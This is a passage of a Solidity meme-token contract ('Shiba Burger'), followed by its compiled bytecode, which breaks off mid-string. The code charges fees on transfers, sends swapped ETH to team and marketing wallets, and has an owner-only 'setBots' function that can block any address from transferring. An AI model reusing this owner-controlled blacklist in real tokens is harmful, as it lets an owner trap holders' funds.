removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4.25e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280600c81526020017f5368696261204275726765720000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f5348555247455220f09f8d940000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6005600a81905550600a600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576005600a81905550600a600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e736665722061